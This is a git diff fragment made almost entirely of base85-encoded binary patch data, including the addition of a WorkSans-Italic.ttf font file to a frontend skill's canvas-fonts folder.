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 GHvczbrDIM2 literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/WorkSans-Italic.ttf b/skills/frontend-dev/canvas-fonts/WorkSans-Italic.ttf new file mode 100644 index 0000000000000000000000000000000000000000..40529b68f7784c96872fa7ed9bfb46d72bf699e2 GIT binary patch literal 174280 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 